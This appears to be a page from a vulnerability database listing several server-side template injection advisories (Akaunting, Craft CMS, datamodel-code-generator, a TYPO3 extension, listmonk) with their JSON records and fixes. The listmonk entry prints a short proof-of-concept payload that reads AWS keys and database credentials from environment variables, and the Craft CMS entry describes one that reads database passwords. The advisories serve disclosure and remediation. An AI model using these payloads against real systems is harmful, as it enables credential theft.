  "summary": "Grav Server-side Template Injection (SSTI) via Denylist Bypass Vulnerability"
}

GHSA-J57Q-FF7H-J5XJ

Vulnerability from github – Published: 2025-12-12 00:30 – Updated: 2025-12-12 00:30
VLAI
Details

Akaunting 3.1.8 contains a server-side template injection vulnerability that allows authenticated administrators to execute template expressions in multiple form input fields. Attackers can inject template payloads in items, taxes, transactions, and vendor name fields to perform arithmetic operations and string manipulations.

Severity
8.6 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-58293"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-11T22:15:50Z",
    "severity": "HIGH"
  },
  "details": "Akaunting 3.1.8 contains a server-side template injection vulnerability that allows authenticated administrators to execute template expressions in multiple form input fields. Attackers can inject template payloads in items, taxes, transactions, and vendor name fields to perform arithmetic operations and string manipulations.",
  "id": "GHSA-j57q-ff7h-j5xj",
  "modified": "2025-12-12T00:30:20Z",
  "published": "2025-12-12T00:30:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-58293"
    },
    {
      "type": "WEB",
      "url": "https://akaunting.com/forum"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/52030"
    },
    {
      "type": "WEB",
      "url": "https://www.softaculous.com/apps/erp/Akaunting"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/akaunting-server-side-template-injection-via-multiple-form-fields"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-J7FX-V37J-V3W7

Vulnerability from github – Published: 2022-05-13 01:51 – Updated: 2024-04-25 22:32
VLAI
Summary
Craft CMS Vulnerable to Server-Side Template Injection
Details

Craft CMS through 3.0.34 allows remote authenticated administrators to read sensitive information via server-side template injection, as demonstrated by a {% string for craft.app.config.DB.user and craft.app.config.DB.password in the URI Format of the Site Settings, which causes a cleartext username and password to be displayed in a URI field.

Severity
7.2 (High)
CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "craftcms/cms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "3.0.34"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2018-20465"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-311"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-04-25T22:32:04Z",
    "nvd_published_at": "2018-12-25T23:29:00Z",
    "severity": "HIGH"
  },
  "details": "Craft CMS through 3.0.34 allows remote authenticated administrators to read sensitive information via server-side template injection, as demonstrated by a `{%` string for `craft.app.config.DB.user` and `craft.app.config.DB.password` in the URI Format of the Site Settings, which causes a cleartext username and password to be displayed in a URI field.",
  "id": "GHSA-j7fx-v37j-v3w7",
  "modified": "2024-04-25T22:32:04Z",
  "published": "2022-05-13T01:51:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-20465"
    },
    {
      "type": "WEB",
      "url": "https://github.com/phuctam/Server-Side-Template-Injection-in-CraftCMS-/issues/1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/craftcms/cms"
    },
    {
      "type": "WEB",
      "url": "https://github.com/craftcms/cms/blob/master/CHANGELOG-v3.md"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Craft CMS Vulnerable to Server-Side Template Injection"
}

GHSA-J884-Q54Q-MMX3

Vulnerability from github – Published: 2026-07-28 21:35 – Updated: 2026-07-28 21:35
VLAI
Summary
`datamodel-code-generator` vulnerable to code injection via unescaped carriage return in GraphQL Union description
Details

Summary

datamodel-code-generator is vulnerable to code injection when generating Python models from an attacker-controlled GraphQL schema. A description on a Union type, written in the regular-string form ("...") with a literal \r escape, is rendered into a Python # comment by a Jinja2 filter that handles only \n. Python's tokenizer treats a bare CR as a physical-line terminator, so the comment ends at the \r and the text after it is parsed as module-level Python. The injected code executes at import time of the generated .py, in the context of any consumer that imports the model. No special CLI flags are required.

This affects versions >=0.25.0, <0.60.1 and is fixed in 0.60.1.

Details

The vulnerable output was generated by the GraphQL Union templates:

  • src/datamodel_code_generator/model/template/UnionTypeStatement.jinja2
  • src/datamodel_code_generator/model/template/UnionTypeAliasAnnotation.jinja2
  • src/datamodel_code_generator/model/template/UnionTypeAliasType.jinja2

Before 0.60.1, Union descriptions were rendered as Python comments using logic equivalent to # {{ description | replace('\n', '\n# ') }}.

The Jinja2 replace filter handled \n, but bare \r was not normalized. Python's lexical analysis treats CR, LF, and CRLF as physical line terminators. As a result, a malicious GraphQL schema could cause the generated Python comment to end early and emit attacker-controlled text as module-level Python code.

The description value reaches Union generation from graphql-core through description=union_object.description. GraphQL regular string values can contain \r escapes, and graphql-core preserves that value. Block strings are not affected in the same way because their line endings are normalized before reaching code generation.

Impact

An attacker who can provide or influence a GraphQL schema processed by datamodel-code-generator could cause arbitrary Python code to be generated into the output file. That code would execute with the privileges of the process importing the generated model.

This can affect developers, CI pipelines, or applications that run datamodel-codegen --input-file-type graphql on untrusted or third-party GraphQL schemas and then import the generated Python module.

No custom templates, special CLI flags, or remote reference options are required.

Remediation

Upgrade to datamodel-code-generator 0.60.1 or later.

The fix normalizes carriage returns in GraphQL Union descriptions before rendering them as Python comments, so injected text remains inside the comment block.

Resolution

The fix applies comment_safe to GraphQL Union descriptions before template rendering. It normalizes CRLF and bare CR to LF so the existing Union comment templates keep the whole description inside the generated Python comment block.

Submitted by: Hamza Haroon (thegr1ffyn)

Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "datamodel-code-generator"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.25.0"
            },
            {
              "fixed": "0.60.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54621"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-28T21:35:49Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`datamodel-code-generator` is vulnerable to code injection when generating Python models from an attacker-controlled GraphQL schema. A description on a Union type, written in the regular-string form (`\"...\"`) with a literal `\\r` escape, is rendered into a Python `#` comment by a Jinja2 filter that handles only `\\n`. Python\u0027s tokenizer treats a bare CR as a physical-line terminator, so the comment ends at the `\\r` and the text after it is parsed as module-level Python. The injected code executes at `import` time of the generated `.py`, in the context of any consumer that imports the model. No special CLI flags are required.\n\nThis affects versions `\u003e=0.25.0, \u003c0.60.1` and is fixed in `0.60.1`.\n\n### Details\n\nThe vulnerable output was generated by the GraphQL Union templates:\n\n- `src/datamodel_code_generator/model/template/UnionTypeStatement.jinja2`\n- `src/datamodel_code_generator/model/template/UnionTypeAliasAnnotation.jinja2`\n- `src/datamodel_code_generator/model/template/UnionTypeAliasType.jinja2`\n\nBefore `0.60.1`, Union descriptions were rendered as Python comments using logic equivalent to `# {{ description | replace(\u0027\\n\u0027, \u0027\\n# \u0027) }}`.\n\nThe Jinja2 `replace` filter handled `\\n`, but bare `\\r` was not normalized. Python\u0027s lexical analysis treats CR, LF, and CRLF as physical line terminators. As a result, a malicious GraphQL schema could cause the generated Python comment to end early and emit attacker-controlled text as module-level Python code.\n\nThe `description` value reaches Union generation from `graphql-core` through `description=union_object.description`. GraphQL regular string values can contain `\\r` escapes, and `graphql-core` preserves that value. Block strings are not affected in the same way because their line endings are normalized before reaching code generation.\n\n### Impact\n\nAn attacker who can provide or influence a GraphQL schema processed by `datamodel-code-generator` could cause arbitrary Python code to be generated into the output file. That code would execute with the privileges of the process importing the generated model.\n\nThis can affect developers, CI pipelines, or applications that run `datamodel-codegen --input-file-type graphql` on untrusted or third-party GraphQL schemas and then import the generated Python module.\n\nNo custom templates, special CLI flags, or remote reference options are required.\n\n### Remediation\n\nUpgrade to `datamodel-code-generator` `0.60.1` or later.\n\nThe fix normalizes carriage returns in GraphQL Union descriptions before rendering them as Python comments, so injected text remains inside the comment block.\n\n### Resolution\n\nThe fix applies `comment_safe` to GraphQL Union descriptions before template rendering. It normalizes CRLF and bare CR to LF so the existing Union comment templates keep the whole description inside the generated Python comment block.\n\nSubmitted by: Hamza Haroon (thegr1ffyn)",
  "id": "GHSA-j884-q54q-mmx3",
  "modified": "2026-07-28T21:35:49Z",
  "published": "2026-07-28T21:35:49Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/koxudaxi/datamodel-code-generator/security/advisories/GHSA-j884-q54q-mmx3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/koxudaxi/datamodel-code-generator"
    },
    {
      "type": "WEB",
      "url": "https://github.com/koxudaxi/datamodel-code-generator/releases/tag/0.60.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "`datamodel-code-generator` vulnerable to code injection via unescaped carriage return in GraphQL Union description"
}

GHSA-J8G2-Q9PF-89W3

Vulnerability from github – Published: 2026-08-25 09:30 – Updated: 2026-08-25 09:30
VLAI
Details

The extension passes an editor-configurable email subject string directly into a Fluid template source without restriction. A backend user with edit access to the event plugin or Backend Module can supply Fluid ViewHelper syntax in this field to disclose sensitive data or execute TypoScript content objects. Exploitation of this issue requires an authenticated backend account with edit access to the event registration plugin or backend module.

Severity
7.7 (High)
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-77129"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-25T09:17:33Z",
    "severity": "HIGH"
  },
  "details": "The extension passes an editor-configurable email subject string directly into a Fluid template source without restriction. A backend user with edit access to the event plugin or Backend Module can supply Fluid ViewHelper syntax in this field to disclose sensitive data or execute TypoScript content objects. Exploitation of this issue requires an authenticated backend account with edit access to the event registration plugin or backend module.",
  "id": "GHSA-j8g2-q9pf-89w3",
  "modified": "2026-08-25T09:30:39Z",
  "published": "2026-08-25T09:30:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-77129"
    },
    {
      "type": "WEB",
      "url": "https://typo3.org/security/advisory/typo3-ext-sa-2026-023"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-JC7G-X28F-3V3H

Vulnerability from github – Published: 2025-06-09 13:09 – Updated: 2025-06-10 19:59
VLAI
Summary
listmonk's Sprig template Injection vulnerability leads to reading of Environment Variable for low privilege user
Details

Summary

The env and expandenv template functions which is enabled by default in Sprig enables capturing of env variables on the host. While this may not be a problem on single-user (super admin) installations, on multi-user installations, this allows non-super-admin users with campaign or template permissions to use the {{ env }} template expression to capture sensitive environment variables.

Upgrade to v5.0.2 to mitigate.

Demonstration

Description

A critical template injection vulnerability exists in Listmonk's campaign preview functionality that allows authenticated users with minimal privileges (campaigns:get & campaigns:get_all) to extract sensitive system data, including database credentials, SMTP passwords, and admin credentials due to some dangerous function being allowed.

Proof of Concept

  • Create a user and give him campaigns:get and campaigns:get_all privileges

image

  • Now login with that user, go to any campaign, go the Content section and here lies the vulnerability, we're able to execute template content which allows us to get environment variables, execute Sprig functions...

  • Now in the text field you can input the following and press Preview: {{ env "AWS_KEY" }} {{ env "LISTMONK_db__user" }} {{ env "LISTMONK_db__password" }}

image

Preview:

image

I had the AWS_KEY variable set like that to confirm the vulnerability:

image

Impact

  • Through these environment variables the attacker can access, they can fully compromise the database, cloud accounts, admin credentials, and more depending on what was setup leading to total system takeover and data breach.

Suggested Fix

  • Blacklist some function for templates like env, expandEnv and fail as they can be used to leak environment variables which leads to a full takeover.
Severity
9.0 (Critical)
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/knadh/listmonk"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "5.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-49136"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-06-09T13:09:24Z",
    "nvd_published_at": "2025-06-09T17:15:29Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\nThe `env` and `expandenv` template functions which is enabled by default in [Sprig](https://masterminds.github.io/sprig/) enables capturing of env variables on the host. While this may not be a problem on single-user (super admin) installations, on multi-user installations, this allows non-super-admin users with campaign or template permissions to use the `{{ env }}` template expression to capture sensitive environment variables.\n\n**Upgrade to [v5.0.2](https://github.com/knadh/listmonk/releases/tag/v5.0.2)** to mitigate.\n\n---------\n\n# Demonstration\n\n### Description\nA critical template injection vulnerability exists in Listmonk\u0027s campaign preview functionality that allows authenticated users with minimal privileges (campaigns:get \u0026 campaigns:get_all) to extract sensitive system data, including database credentials, SMTP passwords, and admin credentials due to some dangerous function being allowed.\n\n### Proof of Concept\n\n- Create a user and give him `campaigns:get` and `campaigns:get_all` privileges\n\n![image](https://github.com/user-attachments/assets/05333695-14d9-498e-9f73-2137d6eca55b)\n\n- Now login with that user, go to any campaign, go the Content section and here lies the vulnerability, we\u0027re able to execute template content which allows us to get environment variables, execute Sprig functions...\n\n- Now in the text field you can input the following and press Preview:\n```\n{{ env \"AWS_KEY\" }}\n{{ env \"LISTMONK_db__user\" }}\n{{ env \"LISTMONK_db__password\" }}\n````\n\n![image](https://github.com/user-attachments/assets/ac963f54-5982-47d4-99d0-59030917f548)\n\n# Preview:\n\n![image](https://github.com/user-attachments/assets/99558ca4-81c6-4e1a-bd0d-6bc57830f4d0)\n\nI had the AWS_KEY variable set like that to confirm the vulnerability:\n\n![image](https://github.com/user-attachments/assets/16382998-2402-436a-9bb0-db09fb13dd79)\n\n### Impact\n\n- Through these environment variables the attacker can access, they can fully compromise the database, cloud accounts, admin credentials, and more depending on what was setup leading to total system takeover and data breach.\n\n### Suggested Fix\n\n- Blacklist some function for templates like env, expandEnv and fail as they can be used to leak environment variables which leads to a full takeover.",
  "id": "GHSA-jc7g-x28f-3v3h",
  "modified": "2025-06-10T19:59:04Z",
  "published": "2025-06-09T13:09:24Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/knadh/listmonk/security/advisories/GHSA-jc7g-x28f-3v3h"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-49136"
    },
    {
      "type": "WEB",
      "url": "https://github.com/knadh/listmonk/commit/d27d2c32cf3af2d0b24e29ea5a686ba149b49b3e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/knadh/listmonk"
    },
    {
      "type": "WEB",
      "url": "https://github.com/knadh/listmonk/releases/tag/v5.0.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "listmonk\u0027s Sprig template Injection vulnerability leads to reading of Environment Variable for low privilege user"
}
Mitigation
Architecture and Design

Choose a template engine that offers a sandbox or restricted mode, or at least limits the power of any available expressions, function calls, or commands.

Mitigation
Implementation

Use the template engine's sandbox or restricted mode, if available.

No CAPEC attack patterns related to this CWE.

← Back to the CWE list